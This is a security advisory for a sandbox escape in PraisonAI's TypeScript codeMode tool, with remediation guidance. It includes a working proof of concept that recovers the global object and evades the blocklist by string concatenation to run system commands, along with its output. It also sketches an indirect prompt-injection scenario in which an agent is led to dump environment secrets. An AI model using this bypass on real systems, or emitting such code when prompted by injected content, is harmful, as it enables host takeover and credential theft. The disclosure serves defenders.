GHSA-p69m-4f92-2v84: praisonai: sandbox escape in codeMode → full host RCE
GHSA-p69m-4f92-2v84 CRITICALPraisonAI's TypeScript codeMode tool executes LLM-generated code inside a new Function() + with(sandbox) pattern that provides zero real isolation — the global object is recoverable in two lines of standard JavaScript, and the regex blocklist is bypassable with string concatenation. Any adversary who can prompt a PraisonAI agent to run code, including through indirect prompt injection via documents or web content the agent processes, achieves full arbitrary code execution as the host process user with confirmed PoC output showing uid, filesystem access, and child_process invocation. CVSS 9.8 (no auth, no privileges, no user interaction required) and AI agent deployments routinely carry high-value secrets in their process environment — API keys, cloud credentials, database URLs — making post-RCE impact immediately severe. Upgrade the praisonai npm package to 1.7.2 immediately; if patching is blocked, disable the codeMode tool at the agent configuration level and rotate all secrets accessible from the agent process environment.
What is the risk?
Critical. CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). The sandbox bypass technique is trivial and well-documented in JavaScript security literature — no AI or ML expertise required, no special tooling, no authentication. A public PoC confirms the full escape chain executing system commands. Low npm downstream dependent count (1) limits automated supply chain exposure, but direct deployments of praisonai-ts with codeMode enabled are immediately exploitable. The aggregate risk is elevated by the typical privilege posture of AI agent processes: cloud credentials in environment, Docker socket access, and broad network egress are common in agent deployments and become post-RCE pivot points.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| PraisonAI | npm | <= 1.7.1 | 1.7.2 |
Do you use PraisonAI? You're affected.
How severe is it?
What is the attack surface?
What should I do?
6 steps-
Patch immediately: upgrade the praisonai npm package to >= 1.7.2 which replaces the broken sandbox.
-
If patching is blocked: remove codeMode from the agent's available tools in configuration — no workaround can safely fix a blocklist-based JavaScript sandbox.
-
Audit logs: search agent execution logs for patterns including Function(, constructor, return this, child_, __proto__, or non-literal string arguments to require().
-
Rotate credentials: treat any API keys, tokens, or cloud credentials in the agent process environment as potentially compromised if the agent processed external content while codeMode was enabled.
-
Harden runtime: run agents in minimal-privilege containers with no-new-privileges, dropped capabilities, read-only filesystem mounts where possible, and blocked cloud metadata endpoint (169.254.169.254).
-
Architectural baseline: never execute LLM-generated code without true process-level isolation — use Node.js vm.createContext(), isolated-vm, or a subprocess sandbox with clean environment and resource limits.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is GHSA-p69m-4f92-2v84?
PraisonAI's TypeScript codeMode tool executes LLM-generated code inside a new Function() + with(sandbox) pattern that provides zero real isolation — the global object is recoverable in two lines of standard JavaScript, and the regex blocklist is bypassable with string concatenation. Any adversary who can prompt a PraisonAI agent to run code, including through indirect prompt injection via documents or web content the agent processes, achieves full arbitrary code execution as the host process user with confirmed PoC output showing uid, filesystem access, and child_process invocation. CVSS 9.8 (no auth, no privileges, no user interaction required) and AI agent deployments routinely carry high-value secrets in their process environment — API keys, cloud credentials, database URLs — making post-RCE impact immediately severe. Upgrade the praisonai npm package to 1.7.2 immediately; if patching is blocked, disable the codeMode tool at the agent configuration level and rotate all secrets accessible from the agent process environment.
Is GHSA-p69m-4f92-2v84 actively exploited?
No confirmed active exploitation of GHSA-p69m-4f92-2v84 has been reported, but organizations should still patch proactively.
How to fix GHSA-p69m-4f92-2v84?
1. Patch immediately: upgrade the praisonai npm package to >= 1.7.2 which replaces the broken sandbox. 2. If patching is blocked: remove codeMode from the agent's available tools in configuration — no workaround can safely fix a blocklist-based JavaScript sandbox. 3. Audit logs: search agent execution logs for patterns including Function(, constructor, return this, child_, __proto__, or non-literal string arguments to require(). 4. Rotate credentials: treat any API keys, tokens, or cloud credentials in the agent process environment as potentially compromised if the agent processed external content while codeMode was enabled. 5. Harden runtime: run agents in minimal-privilege containers with no-new-privileges, dropped capabilities, read-only filesystem mounts where possible, and blocked cloud metadata endpoint (169.254.169.254). 6. Architectural baseline: never execute LLM-generated code without true process-level isolation — use Node.js vm.createContext(), isolated-vm, or a subprocess sandbox with clean environment and resource limits.
What systems are affected by GHSA-p69m-4f92-2v84?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, code execution tools, AI agent pipelines, multi-agent systems.
What is the CVSS score for GHSA-p69m-4f92-2v84?
GHSA-p69m-4f92-2v84 has a CVSS v3.1 base score of 9.8 (CRITICAL).
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.005 AI Agent Tool AML.T0051.001 Indirect AML.T0053 AI Agent Tool Invocation AML.T0055 Unsecured Credentials AML.T0072 Reverse Shell AML.T0105 Escape to Host Compliance Controls Affected
What are the technical details?
Original Advisory
## Summary The `codeMode` tool in `src/praisonai-ts/src/tools/builtins/code-mode.ts` uses `new Function()` with a `with(sandbox)` pattern to execute LLM-generated code. The blocklist-based "sandbox" can be trivially bypassed via `Function('return this')()` to recover the global object, followed by `global.require()` with string concatenation to evade the blocklist regex. This allows full arbitrary code execution on the host system. This affects all deployments where the code-mode tool is enabled for agents. ## Details **Vulnerable code (lines 187–191):** ```typescript const fn = new Function( 'sandbox', `with (sandbox) { ${code} }` ); const result = fn(sandbox); ``` The `code` parameter comes from LLM tool call arguments (the `execute` method at line 104). Before execution, a regex-based blocklist is applied (lines 108–136): ```typescript const blockedPatterns = [ /require\s*\(\s*['"]child_process['"]\s*\)/, /require\s*\(\s*['"]fs['"]\s*\)/, /import\s+.*from\s+['"]child_process['"]/, /process\.exit/, /eval\s*\(/, ]; ``` **Three fundamental weaknesses:** 1. **`with(sandbox)` does not provide isolation.** The `with` statement in JavaScript adds an object to the scope chain but does NOT prevent accessing the global object. The sandbox object sets `process: undefined` and `require: undefined`, but these are recovered via the global scope: ```javascript const g = Function('return this')(); g.require('child_' + 'process') ``` 2. **Blocklist evasion via string concatenation.** The regex `/require\s*\(\s*['"]child_process['"]\s*\)/` requires the literal string `'child_process'` or `"child_process"` inside `require()`. Using `require('child_' + 'process')` bypasses this because the regex sees a variable concatenation, not a literal string. 3. **`Function('return this')()` is not blocked.** None of the blocklist patterns match `Function(`, `return this`, or `global.require`. ## PoC **Setup:** Clean checkout at commit `d5f1114a`, Node.js v20.20.0 (tested environment). **Positive trigger — full RCE with sandbox escape (OBSERVED OUTPUT):** ```javascript // This code bypasses ALL blocklist patterns and achieves RCE: const code = ` const Func = (function(){}).constructor; const proc = Func('return process')(); console.log('process.version:', proc.version); const g = Function('return this')(); const mod = 'child_' + 'process'; const cp = g.require(mod); console.log('RCE:', cp.execSync('id').toString().trim()); `; ``` **Observed output (executed in this environment):** ``` OUT: process.version: v20.20.0 OUT: RCE: uid=1000(sondt23) gid=1000(sondt23) groups=1000(sondt23),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin),983(docker),984(ollama) ``` The escape was confirmed by executing the exact code-mode sandbox pattern (`new Function('sandbox', 'with (sandbox) { ... }')`) with the blocklist applied first. ALL blocklist patterns were bypassed, and the `id` command returned the real system user ID. **Negative control — blocklist correctly catches direct require:** ```javascript const code = `require('child_process')`; // Returns: "Blocked pattern detected: require\s*\(\s*['"]child_process['"]\s*\)" ``` **Negative control — blocklist correctly catches eval:** ```javascript const code = `eval('process')`; // Returns: "Blocked pattern detected: eval\s*\(" ``` **Cleanup:** No persistence needed; the code runs in-process. ## Impact An attacker who can influence the `code` parameter of the `codeMode` tool (via crafted prompts to an AI agent using praisonai-ts) achieves **full arbitrary code execution** on the host system. This includes: - **Read/write any file** accessible to the process user - **Execute arbitrary system commands** via `child_process` - **Exfiltrate environment variables** containing API keys, tokens, and credentials - **Install persistent backdoors** by writing to startup files - **Move laterally** in containerized environments ## Suggested remediation The `with(sandbox)` + blocklist pattern is fundamentally insecure and cannot be fixed with regex improvements. Replace it with: 1. **Use `vm` module with proper context isolation:** ```typescript import { createContext, runInContext } from 'vm'; const sandbox = createContext({ /* safe globals only */ }); runInContext(code, sandbox, { timeout: 5000 }); ``` 2. **Or use `isolated-vm`** for true process-level isolation with separate V8 isolates. 3. **Or run code in a subprocess** (like the Python `_execute_code_sandboxed` pattern already used in `python_tools.py`) with a clean environment and resource limits. 4. If a blocklist approach must be retained, add patterns for: - `Function(` / `new Function` - `constructor` / `__proto__` / `prototype` - `return this` / `return global` - `global` / `globalThis` / `window` But note: blocklist approaches are inherently fragile and will continue to have bypasses.
Exploitation Scenario
An adversary targets an organization running a PraisonAI agent with codeMode enabled that processes external documents or user queries. Via an indirect prompt injection payload embedded in a PDF or web page the agent reads, the adversary causes the LLM to emit JavaScript that: (1) calls Function('return this')() to recover the Node.js global object, bypassing the sandbox's undefined process and require bindings; (2) constructs the module name as 'child_' + 'process' to evade the literal-string regex blocklist; (3) invokes global.require('child_' + 'process').execSync('env').toString() to exfiltrate all environment variables in a single call, capturing OPENAI_API_KEY, AWS_ACCESS_KEY_ID, DATABASE_URL, and similar high-value secrets. With those credentials the adversary pivots to cloud infrastructure, deploys a reverse shell for persistent access, or sells the API keys. The entire exploit requires no authentication and executes in milliseconds.
Weaknesses (CWE)
CWE-94 — Improper Control of Generation of Code ('Code Injection'): The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
- [Architecture and Design] Refactor your program so that you do not have to dynamically generate code.
- [Architecture and Design] Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H References
Timeline
Related Vulnerabilities
GHSA-vmmj-pfw7-fjwp 9.9 Analysis pending
Same package: praisonai CVE-2026-47392 9.9 praisonaiagents: RCE via Python sandbox bypass
Same package: praisonai GHSA-vc46-vw85-3wvm 9.8 PraisonAI: RCE via malicious workflow YAML execution
Same package: praisonai GHSA-9qhq-v63v-fv3j 9.8 PraisonAI: RCE via MCP command injection
Same package: praisonai CVE-2026-39890 9.8 PraisonAI: YAML deserialization enables unauthenticated RCE
Same package: praisonai